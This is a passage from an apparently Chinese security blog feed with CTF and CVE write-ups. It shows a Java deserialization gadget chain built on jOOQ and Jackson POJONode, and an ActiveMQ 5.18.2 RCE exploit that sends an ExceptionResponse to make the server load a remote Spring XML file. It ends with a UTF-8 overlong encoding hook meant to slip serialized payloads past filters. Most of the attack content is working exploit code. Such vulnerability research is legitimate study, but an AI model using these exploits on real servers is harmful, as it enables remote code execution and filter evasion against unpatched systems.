class="string">&quot;http://127.0.0.1:1234/poc.xml&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="type">Class</span> <span class="variable">clazz1</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;org.jooq.impl.Dual&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">constructor1</span> <span class="operator">=</span> clazz1.getDeclaredConstructors()[<span class="number">0</span>];</span><br><span class="line">        constructor1.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">table</span> <span class="operator">=</span> constructor1.newInstance();</span><br><span class="line"></span><br><span class="line">        <span class="type">Class</span> <span class="variable">clazz2</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;org.jooq.impl.TableDataType&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">constructor2</span> <span class="operator">=</span> clazz2.getDeclaredConstructors()[<span class="number">0</span>];</span><br><span class="line">        constructor2.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">tableDataType</span> <span class="operator">=</span> constructor2.newInstance(table);</span><br><span class="line"></span><br><span class="line">        <span class="type">Class</span> <span class="variable">clazz3</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;org.jooq.impl.Val&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">constructor3</span> <span class="operator">=</span> clazz3.getDeclaredConstructor(Object.class, DataType.class, <span class="type">boolean</span>.class);</span><br><span class="line">        constructor3.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">val</span> <span class="operator">=</span> constructor3.newInstance(<span class="string">&quot;whatever&quot;</span>, tableDataType, <span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">Class</span> <span class="variable">clazz4</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;org.jooq.impl.ConvertedVal&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">constructor4</span> <span class="operator">=</span> clazz4.getDeclaredConstructors()[<span class="number">0</span>];</span><br><span class="line">        constructor4.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">convertedVal</span> <span class="operator">=</span> constructor4.newInstance(val, tableDataType);</span><br><span class="line"></span><br><span class="line">        <span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> url;</span><br><span class="line">        <span class="type">Class</span> <span class="variable">type</span> <span class="operator">=</span> ClassPathXmlApplicationContext.class;</span><br><span class="line"></span><br><span class="line">        UnSafeTools.setObject(val,val.getClass().getSuperclass().getDeclaredField(<span class="string">&quot;value&quot;</span>),value);</span><br><span class="line">        UnSafeTools.setObject(tableDataType,tableDataType.getClass().getSuperclass().getDeclaredField(<span class="string">&quot;uType&quot;</span>),type);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">POJONode</span> <span class="variable">pojoNode</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">POJONode</span>(convertedVal);</span><br><span class="line"></span><br><span class="line">        <span class="type">EventListenerList</span> <span class="variable">eventListenerList</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">EventListenerList</span>();</span><br><span class="line">        <span class="type">UndoManager</span> <span class="variable">undoManager</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UndoManager</span>();</span><br><span class="line">        <span class="type">Vector</span> <span class="variable">vector</span> <span class="operator">=</span> (Vector) ReflectTools.getFieldValue(undoManager, <span class="string">&quot;edits&quot;</span>);</span><br><span class="line">        vector.add(pojoNode);</span><br><span class="line">        ReflectTools.setFieldValue(eventListenerList, <span class="string">&quot;listenerList&quot;</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;InternalError.class, undoManager&#125;);</span><br><span class="line"></span><br><span class="line">        <span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span> SerialTools.base64Serial(eventListenerList);</span><br><span class="line">        System.out.println(s);</span><br><span class="line">        SerialTools.base64DeSerial(s);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;agent&quot;&gt;&lt;a href=&quot;#agent&quot; class=&quot;headerlink&quot; title=&quot;agent&quot;&gt;&lt;/a&gt;agent&lt;/h2&gt;&lt;p&gt;jdk17依赖有h2思路清晰打jdbc attack&lt;/p&gt;
&lt;figure class=&quot;highlight xm</summary>
      
    
    
    
    
    <category term="java" scheme="https://www.n1ght.cn/tags/java/"/>
    
    <category term="ctf" scheme="https://www.n1ght.cn/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>ActiveMQ RCE 分析</title>
    <link href="https://www.n1ght.cn/2024/04/10/ActiveMQ%20RCE%20%E5%88%86%E6%9E%90/"/>
    <id>https://www.n1ght.cn/2024/04/10/ActiveMQ%20RCE%20%E5%88%86%E6%9E%90/</id>
    <published>2024-04-10T10:26:32.000Z</published>
    <updated>2024-04-27T12:51:42.193Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://github.com/apache/activemq/releases/tag/activemq-5.18.2">activemq-5.18.2</a><br>漏洞环境<br>查看windows搭建<br><a href="https://activemq.apache.org/components/classic/documentation/version-5-getting-started#installation-procedure-for-windows">windows环境搭建</a><br>在目录下使用<br>mvn clean install -DskipTests<br>将activemq-activemq-5.18.2&#x2F;assembly&#x2F;target的apache-activemq-5.18.2-bin.zip<br>解压<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405212733.png"><br>添加到库中<br>这样没完全添加，将lib目录下文件全部添加<br>然后把其中的 conf、webapps 和 lib 文件夹，拷贝到 activemq-parent-5.15.12 项目的同级目录下<br>运行<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405212940.png"><br>$ cat log.txt |grep marshaller<br>    This fixes the OpenWire v12 marshaller so that if an exception is<br>    AMQ-9370 - Improve Openwire marshaller validation test<br>    AMQ-9370 - Openwire marshaller should validate Throwable class type<br>    AMQ-9370 - Openwire marshaller should validate Throwable class type<br>    Fixing KahaDB so that the correct marshaller is used for the message<br>    Use the latest openwire version marshallers in the KahaDB store when<br>    <a href="https://issues.apache.org/jira/browse/AMQ-3236">https://issues.apache.org/jira/browse/AMQ-3236</a> - fix regression in MessageAckTest, ensure wireversion is used for marshaller test<br>    Reverting recent chagnes to openwire v3 marshallers that snuck in with my last commit<br>    Set the eol style on the generated marshallers<br>    Added openwire v2 marshallers<br>    Adding initial marshaller for v2<br>    Configure our use of the gram maven plugin so that it generates the openwire marshaller source code.<br>    with the m2 gram plugin to generate openwire marshallers under maven 2.<br>    latest generated OpenWire commands and marshallers - updated WireFormatInfo so that it has boolean flags for the various options like stack trace and the like (we should avoid int based bitflags going forwards now as they are harder to support in other languages and are more brittle)<br>    updated marshallers.<br>发现<br>commit 3eaf3107f4fb9a3ce7ab45c175bfaeac7e866d5b<br>记录下修改<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405215559.png"><br>增加了一行验证<br>查看createThrowable在哪里调用到他<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405221500.png"><br>BaseDataStreamMarshaller#tightUnmarsalThrowable<br>而且ExceptionResponseMarshaller的反序列化调用了他<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405222650.png"></p><h2 id="编写activeMQ通信demo"><a href="#编写activeMQ通信demo" class="headerlink" title="编写activeMQ通信demo"></a>编写activeMQ通信demo</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> test;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> org.apache.activemq.ActiveMQConnection;  </span><br><span class="line"><span class="keyword">import</span> org.apache.activemq.ActiveMQConnectionFactory;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> javax.jms.*;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span>  <span class="keyword">throws</span> Exception&#123;  </span><br><span class="line">        <span class="type">ActiveMQConnectionFactory</span> <span class="variable">connectionFactory</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ActiveMQConnectionFactory</span>(<span class="string">&quot;tcp://localhost:61616&quot;</span>);  </span><br><span class="line">  </span><br><span class="line">         <span class="comment">// 构造从工厂得到连接对象  </span></span><br><span class="line">            <span class="type">Connection</span> <span class="variable">connection</span> <span class="operator">=</span> connectionFactory.createConnection();  </span><br><span class="line">            <span class="comment">// 启动  </span></span><br><span class="line">            connection.start();  </span><br><span class="line">            <span class="comment">// 获取操作连接  </span></span><br><span class="line">            <span class="type">Session</span> <span class="variable">session</span> <span class="operator">=</span> connection.createSession(Boolean.TRUE,  </span><br><span class="line">                    Session.AUTO_ACKNOWLEDGE);  </span><br><span class="line">            <span class="comment">// 获取session注意参数值xingbo.xu-queue是一个服务器的queue，须在在ActiveMq的console配置  </span></span><br><span class="line">            <span class="type">Queue</span> <span class="variable">firstQueue</span> <span class="operator">=</span> session.createQueue(<span class="string">&quot;FirstQueue&quot;</span>);  </span><br><span class="line">            <span class="comment">// 得到消息生成者【发送者】  </span></span><br><span class="line">            <span class="type">MessageProducer</span> <span class="variable">producer</span> <span class="operator">=</span> session.createProducer(firstQueue);  </span><br><span class="line">            <span class="comment">// 设置不持久化，此处学习，实际根据项目决定  </span></span><br><span class="line">            <span class="type">ObjectMessage</span> <span class="variable">objectMessage</span> <span class="operator">=</span> session.createObjectMessage(<span class="string">&quot;aaa&quot;</span>);  </span><br><span class="line">  </span><br><span class="line">            <span class="comment">// 构造消息，此处写死，项目就是参数，或者方法获取  </span></span><br><span class="line">            producer.send(objectMessage);  </span><br><span class="line">            connection.close();  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发送信息后，activeMQ会调用<br>org.apache.activemq.openwire.OpenWireFormat#doUnmarshal()进行反序列化<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405222336.png"><br>观看源代码发现<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405222506.png"><br>是dataType的值决定了反序列化哪个</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">doUnmarshal</span><span class="params">(DataInput dis)</span> <span class="keyword">throws</span> IOException &#123;  </span><br><span class="line">    <span class="type">byte</span> <span class="variable">dataType</span> <span class="operator">=</span> dis.readByte();  </span><br><span class="line">    <span class="keyword">if</span> (dataType != <span class="number">0</span>) &#123;  </span><br><span class="line">        <span class="type">DataStreamMarshaller</span> <span class="variable">dsm</span> <span class="operator">=</span> <span class="built_in">this</span>.dataMarshallers[dataType &amp; <span class="number">255</span>];  </span><br><span class="line">        <span class="keyword">if</span> (dsm == <span class="literal">null</span>) &#123;  </span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IOException</span>(<span class="string">&quot;Unknown data type: &quot;</span> + dataType);  </span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">            <span class="type">Object</span> <span class="variable">data</span> <span class="operator">=</span> dsm.createObject();  </span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">this</span>.tightEncodingEnabled) &#123;  </span><br><span class="line">                <span class="type">BooleanStream</span> <span class="variable">bs</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BooleanStream</span>();  </span><br><span class="line">                bs.unmarshal(dis);  </span><br><span class="line">                dsm.tightUnmarshal(<span class="built_in">this</span>, data, dis, bs);  </span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">                dsm.looseUnmarshal(<span class="built_in">this</span>, data, dis);  </span><br><span class="line">            &#125;  </span><br><span class="line">  </span><br><span class="line">            <span class="keyword">return</span> data;  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>所以我们得想办法将dataType的值pattch成31<br>序列化的方法就是<br><img src="https://raw.githubusercontent.com/yezere/images/master/Snipaste_2024-04-05_22-32-20.png"><br>TcpTransport#oneway<br>调用的marshal方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title function_">marshal</span><span class="params">(Object o, DataOutput dataOut)</span> <span class="keyword">throws</span> IOException &#123;  </span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">this</span>.cacheEnabled) &#123;  </span><br><span class="line">        <span class="built_in">this</span>.runMarshallCacheEvictionSweep();  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="type">int</span> <span class="variable">size</span> <span class="operator">=</span> <span class="number">1</span>;  </span><br><span class="line">    <span class="keyword">if</span> (o != <span class="literal">null</span>) &#123;  </span><br><span class="line">        <span class="type">DataStructure</span> <span class="variable">c</span> <span class="operator">=</span> (DataStructure)o;  </span><br><span class="line">        <span class="type">byte</span> <span class="variable">type</span> <span class="operator">=</span> c.getDataStructureType();  </span><br><span class="line">        <span class="type">DataStreamMarshaller</span> <span class="variable">dsm</span> <span class="operator">=</span> <span class="built_in">this</span>.dataMarshallers[type &amp; <span class="number">255</span>];  </span><br><span class="line">        <span class="keyword">if</span> (dsm == <span class="literal">null</span>) &#123;  </span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IOException</span>(<span class="string">&quot;Unknown data type: &quot;</span> + type);  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span>.tightEncodingEnabled) &#123;  </span><br><span class="line">            <span class="type">BooleanStream</span> <span class="variable">bs</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BooleanStream</span>();  </span><br><span class="line">            size += dsm.tightMarshal1(<span class="built_in">this</span>, c, bs);  </span><br><span class="line">            size += bs.marshalledSize();  </span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">this</span>.maxFrameSizeEnabled &amp;&amp; (<span class="type">long</span>)size &gt; <span class="built_in">this</span>.maxFrameSize) &#123;  </span><br><span class="line">                <span class="keyword">throw</span> IOExceptionSupport.createFrameSizeException(size, <span class="built_in">this</span>.maxFrameSize);  </span><br><span class="line">            &#125;  </span><br><span class="line">  </span><br><span class="line">            <span class="keyword">if</span> (!<span class="built_in">this</span>.sizePrefixDisabled) &#123;  </span><br><span class="line">                dataOut.writeInt(size);  </span><br><span class="line">            &#125;  </span><br><span class="line">  </span><br><span class="line">            dataOut.writeByte(type);  </span><br><span class="line">            bs.marshal(dataOut);  </span><br><span class="line">            dsm.tightMarshal2(<span class="built_in">this</span>, c, dataOut, bs);  </span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">            <span class="type">DataOutput</span> <span class="variable">looseOut</span> <span class="operator">=</span> dataOut;  </span><br><span class="line">            <span class="keyword">if</span> (!<span class="built_in">this</span>.sizePrefixDisabled) &#123;  </span><br><span class="line">                <span class="built_in">this</span>.bytesOut.restart();  </span><br><span class="line">                looseOut = <span class="built_in">this</span>.bytesOut;  </span><br><span class="line">            &#125;  </span><br><span class="line">  </span><br><span class="line">            ((DataOutput)looseOut).writeByte(type);  </span><br><span class="line">            dsm.looseMarshal(<span class="built_in">this</span>, c, (DataOutput)looseOut);  </span><br><span class="line">            <span class="keyword">if</span> (!<span class="built_in">this</span>.sizePrefixDisabled) &#123;  </span><br><span class="line">                <span class="type">ByteSequence</span> <span class="variable">sequence</span> <span class="operator">=</span> <span class="built_in">this</span>.bytesOut.toByteSequence();  </span><br><span class="line">                dataOut.writeInt(sequence.getLength());  </span><br><span class="line">                dataOut.write(sequence.getData(), sequence.getOffset(), sequence.getLength());  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">        <span class="keyword">if</span> (!<span class="built_in">this</span>.sizePrefixDisabled) &#123;  </span><br><span class="line">            dataOut.writeInt(size);  </span><br><span class="line">        &#125;  </span><br><span class="line">  </span><br><span class="line">        dataOut.writeByte(<span class="number">0</span>);  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>获取类型，然后写入到序列化的类中<br>ExceptionResponseMarshaller是序列化的类，而ExceptionResponse就是传入的值<br>所以<br>command可以编写ExceptionResponse<br>dataOut即是ExceptionResponseMarshaller是序列化的类，<br>不用那么麻烦我们复制在当前文件中修改他的oneway即可</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">oneway</span><span class="params">(Object command)</span> <span class="keyword">throws</span> IOException &#123;  </span><br><span class="line">    <span class="built_in">this</span>.checkStarted();  </span><br><span class="line">    <span class="type">Throwable</span> <span class="variable">classPathXmlApplicationContext</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ClassPathXmlApplicationContext</span>(<span class="string">&quot;http://127.0.0.1:9090/poc.xml&quot;</span>);  </span><br><span class="line">  </span><br><span class="line">    <span class="type">ExceptionResponse</span> <span class="variable">exceptionResponse</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ExceptionResponse</span>(classPathXmlApplicationContext);  </span><br><span class="line">  </span><br><span class="line">    <span class="built_in">this</span>.wireFormat.marshal(exceptionResponse, <span class="built_in">this</span>.dataOut);  </span><br><span class="line">    <span class="built_in">this</span>.dataOut.flush();  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>由于ClassPathXmlApplicationContext要变成Throwable，我们重写一下他</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.springframework.context.support;  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ClassPathXmlApplicationContext</span> <span class="keyword">extends</span> <span class="title class_">Throwable</span>&#123;  </span><br><span class="line">    <span class="keyword">private</span> String detailMessage;  </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">ClassPathXmlApplicationContext</span><span class="params">()</span> &#123;  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">ClassPathXmlApplicationContext</span><span class="params">(String message)</span> &#123;  </span><br><span class="line">        detailMessage = message;  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getMessage</span><span class="params">()</span> &#123;  </span><br><span class="line">        <span class="keyword">return</span> detailMessage;  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>为什么能这样做了，我们详细看一下流程<br>因为我们发送的是ExceptionResponse，所以Type值为31<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405230018.png"><br>获取解析器，也就是ExceptionResponseMarshaller<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405230120.png"><br>进入looseUnmarsalThrowable<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405230157.png"><br>获取类名和参数<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405230251.png"><br>在server端的ClassPathXmlApplicationContext是正常的没有修改过的，调用createThrowable，<br>通过反射实例化，所以本地client端就可以任意修改，无所谓<br><img src="https://raw.githubusercontent.com/yezere/images/master/Snipaste_2024-04-05_23-04-41.png"><br>也就是实例化rce，FileSystemXmlApplicationContext也行<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405231033.png"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>入口类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> Object <span class="title function_">readCommand</span><span class="params">()</span> <span class="keyword">throws</span> IOException &#123;  </span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.wireFormat.unmarshal(<span class="built_in">this</span>.dataIn);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>通过代码交互，会自动调用到unmarshal中<br>OpenWireFormat#unmarshal-&gt;OpenWireFormat#doUnmarshal-&gt;ExceptionResponseMarshaller#looseUnmarshal-&gt;BaseDataStreamMarshaller#looseUnmarsalThrowable-&gt;BaseDataStreamMarshaller#createThrowable</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">clazz</span> <span class="operator">=</span> <span class="built_in">this</span>.looseUnmarshalString(dataIn);  </span><br><span class="line"><span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> <span class="built_in">this</span>.looseUnmarshalString(dataIn);  </span><br><span class="line"><span class="type">Throwable</span> <span class="variable">o</span> <span class="operator">=</span> <span class="built_in">this</span>.createThrowable(clazz, message);</span><br></pre></td></tr></table></figure><p>个人分析链子的寻找应该是从createThrowable发现looseUnmarsalThrowable调用了他<br>然后发现ExceptionResponseMarshaller调用了looseUnmarsalThrowable<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405231730.png"><br>然后发现反序列化的时候，当dataType为31的时候，可以使用ExceptionResponseMarshaller<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240405222336.png"><br>然后发现序列化的时候，可以修改函数，使得ExceptionResponse发送过去，ExceptionResponse需要Throwable参数，在本地修改两个class为继承Throwable是为了方便操控发送过去的classname，因为实例化rce的两个class都不是Throwable类型，调用ExceptionResponseMarshaller，达到实例化rce，</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;a href=&quot;https://github.com/apache/activemq/releases/tag/activemq-5.18.2&quot;&gt;activemq-5.18.2&lt;/a&gt;&lt;br&gt;漏洞环境&lt;br&gt;查看windows搭建&lt;br&gt;&lt;a href=&quot;https://</summary>
      
    
    
    
    
    <category term="java" scheme="https://www.n1ght.cn/tags/java/"/>
    
    <category term="cve" scheme="https://www.n1ght.cn/tags/cve/"/>
    
  </entry>
  
  <entry>
    <title>java反序列化UTF-8 Overlong Encoding</title>
    <link href="https://www.n1ght.cn/2024/04/09/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96UTF-8%20Overlong%20Encoding/"/>
    <id>https://www.n1ght.cn/2024/04/09/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96UTF-8%20Overlong%20Encoding/</id>
    <published>2024-04-09T10:29:32.000Z</published>
    <updated>2024-04-27T12:51:04.799Z</updated>
    
    <content type="html"><![CDATA[<p>参考文章：<br><a href="https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html">https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html</a><br><a href="https://exp10it.io/2024/02/hessian-utf-8-overlong-encoding/">https://exp10it.io/2024/02/hessian-utf-8-overlong-encoding/</a></p><p>在java反序列化中，readUTF函数存在对三个字节进行转换成字符串<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240406131110.png"><br>我们可以将敏感字节，从一个字节转换成三个字节，原理可以参考<a href="https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html">UTF-8 Overlong Encoding导致的安全问题</a><br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240406131253.png"><br>在我看java反序列化的过程中，<br>我们可以通过hook掉ObjectOutputStream$BlockDataOutputStream#writeUTF(String s, long utflen)函数和writeUTFBody函数实现UTF-8 Overlong Encoding。</p><h2 id="分析："><a href="#分析：" class="headerlink" title="分析："></a>分析：</h2><p>正常序列化流程，调用到ObjectOutputStream$BlockDataOutputStream的writeUTF#writeUTF(String s)时候，会向当前类的也就是上面所需要hook的<br>ObjectOutputStream$BlockDataOutputStream#writeUTF(String s, long utflen)<br>传入类名和字段长度<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240406131601.png"><br>当长度和类名长度不等的时候，会走入writeUTFBody中，进行处理<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240406131810.png"><br>当传入的s的每个字符大于0x007f时候并且小于0x07ff，会进行两个字节的编码<br>每个字符大于0x007f时候并且大于0x07ff时候，会进行三个字节的编码<br>每个字符小于0x007f时候，就正常输出<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240406131855.png"></p><h2 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h2><p>所以我们通过hook函数的实现也就清晰了<br>通过javassist获取ObjectOutputStream$BlockDataOutputStream#writeUTF(String s, long utflen)<br>直接修改为utflen长度为字节的长度，然后直接走入writeUTFBody中</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> classPool.get(<span class="string">&quot;java.io.ObjectOutputStream$BlockDataOutputStream&quot;</span>);  </span><br><span class="line">classPool.importPackage(IOException.class.getName());  </span><br><span class="line"><span class="type">CtMethod</span> <span class="variable">writeUTF</span> <span class="operator">=</span> ctClass.getMethod(<span class="string">&quot;writeUTF&quot;</span>,<span class="string">&quot;(Ljava/lang/String;J)V&quot;</span>);  </span><br><span class="line">ctClass.removeMethod(writeUTF);  </span><br><span class="line"><span class="type">CtMethod</span> <span class="variable">make1</span> <span class="operator">=</span> CtNewMethod.make(<span class="string">&quot;void writeUTF(String s, long utflen) throws IOException &#123;\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;            writeShort((int) utflen*3);\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;            writeUTFBody(s);\n&quot;</span> +  </span><br><span class="line">        <span class="string">&quot;        &#125;&quot;</span>, ctClass);  </span><br><span class="line">ctClass.addMethod(make1);</span><br></pre></td></tr></table></figure><p>但是这样还不够，我们传入的s是默认是小于0x7f的，所以我们再次修改BlockDataOutputStream#writeUTFBody(String s)<br>使得if判断失效,上面这个三个字节没有注释，其他注释掉</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 